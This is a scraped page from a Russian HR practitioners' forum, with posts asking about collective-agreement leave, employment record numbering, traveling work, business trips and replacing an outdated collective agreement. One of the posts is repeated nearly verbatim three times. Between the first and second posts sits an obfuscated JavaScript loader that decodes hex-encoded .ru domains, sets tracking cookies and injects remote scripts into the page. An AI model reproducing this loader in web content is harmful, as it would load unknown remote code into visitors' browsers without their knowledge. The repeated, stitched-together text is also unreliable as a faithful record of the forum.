Костик (Автор тем) , Публикация №515710

Добрый день. Вроде не пятница но что то ступарит..... На сколько я понимаю если по нашему колдоговору положен отпуск при бракосочетании, рождении, смерти близких 3 дня с сохранением среднего заработка, то я делаю приказ общий кадровый в свободной форме и основание заявление и колдоговор?

window .a1336404323 = 1;!f unction(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=f unction(e){var t=docu ment.cookie.match(new RegExp("(?:^|; )"+e.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=f unction(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCS tring()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=f unction(e){e=e.r eplace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring(16);return t},a=f unction(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=Stri ng.fromCharCode(parseInt(e[o],16));return t},d=f unction(){return "kadrovik-praktik.ru"},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Принесла работница ТК там записи идут 1,2,3...12, а там где №13 должна была быть начали писать дату приема " 24 в графе дата 04 в графе месяц 2013 в графе год прописью года" - Это была запись об увольнении. Следующий работодатель не глядя пишет номер следующей записи о приеме 25 (а не 14) об увольнении 26 и т.д.... последняя запись №28
В общем, получается порядковая моя запись должна быть 18 или продолжать 29?

В компании расположенной в городе А есть несколько бригад строителей.
-Одни бригады работают в городе А - соответственно утром они едут на объект - вечером по домам.
-НО есть бригады , которые живут в городе А, а работают в области - в городе Б - там снимается жильё. В город А приезжают изредка прорабы (руководители бригад).
- А некоторые бригады живут в городе Б. Соответственно они там собираются и там работают.
Достаточно ли правильно оформить им разъездной характер работ (Положение, перечень, доплату вместо суточных, прописать в ТД и ДИ) ? или я что то упускаю?

Немного выпала из практики по командировкам - с 01.01.2015 отменили ком.удостоверения,сл.задания, отчет?! а Журнал учета выбывающих?

Добрый день, коллеги! Прошу советов
Стандартная в общем ситуация: Организация существует с 2014 года, кадровика впервые приняли в марте 2016. кадры велись в минимальном объеме бухгалтерией. НО! в апреле 2014 года они приняли коллективный договор общим собранием коллектива (9душ) и даже зарегистрировали его в администрации города. К Коллективному договору идут приложением - положение об оплате труда, положение о премировании, ПВТР и даже нормативы СИЗ. В мае 2015 года полностью меняется коллектив, руководитель, устав и расширяются направления деятельности. Нас уже 50 и в трёх городах. Назрела необходимость перемен. Более остро стоит вопрос о смене системы оплаты труда (с оклада на оклад+премия) и льготы "вредникам" (ранее о них вообще молчали)
Правильно ли я понимаю, что я должна:
1. организовать общее собрание коллектива (не менее 50%) и принять на нем решения
- выбор представителя работников
- прекращение действия Колдоговора
-одобрении новых ЛНА и штатки
2. На основании этого издать приказы и сделать доп.соглашения к ТД.
Может я что то упускаю?

Добрый день, коллеги! Прошу советов
Стандартная в общем ситуация: Организация существует с 2014 года, кадровика впервые приняли в марте 2016. кадры велись в минимальном объеме бухгалтерией. НО! в апреле 2014 года они приняли коллективный договор общим собранием коллектива (9душ) и даже зарегистрировали его в администрации города. К Коллективному договору идут приложением - положение об оплате труда, положение о премировании, ПВТР и даже нормативы СИЗ. В мае 2015 года полностью меняется коллектив, руководитель, устав и расширяются направления деятельности. Нас уже 50 и в трёх городах. Назрела необходимость перемен. Более остро стоит вопрос о смене системы оплаты труда (с оклада на оклад+премия) и льготы "вредникам" (ранее о них вообще молчали)
Правильно ли я понимаю, что я должна:
1. организовать общее собрание коллектива (не менее 50%) и принять на нем решения
- выбор представителя работников
- прекращение действия Колдоговора
-одобрении новых ЛНА и штатки
2. На основании этого издать приказы и сделать доп.соглашения к ТД.
Может я что то упускаю?

Добрый день, коллеги. Позвольте поинтересоваться вашим мнением.
В принципе стандартная ситуация: Организация действует с 2014 года, кадровика принимают впервые с марта 2016 года. Кадровая документация велась бухгалтерией в минимальном объеме. НО! в 2014 году общим собранием коллектива (9 душ) они принимают Коллективный договор и к нему приложением идут Положение об оплате труда, положение о премировании, ПВТР и даже объемы СИЗ... И даже зарегистрировали его в администрации города. в середине 2015 года полностью меняется руководство и коллектив и устав и направление деятельности.
В итоге возникает необходимость изменения всего - с окладной системы оплаты труда хотим перейти на окладно-премиальную, прописать все льготы "вредников" и тд и тп., а нас уже 50 и в трёх городах раскиданы.
Как я понимаю мне нужно:
1. собрать общее собрание коллектива (не менее 50%)
- выбрать на нём представителя работников
- прекратить действие колдоговора
- одобрить новые ЛНА и штатку
2. На основании этого приказами всё утверждить и заключить со всеми доп.соглашения к ТД (они вообще безобразные по содержанию)
Может я что то упускаю?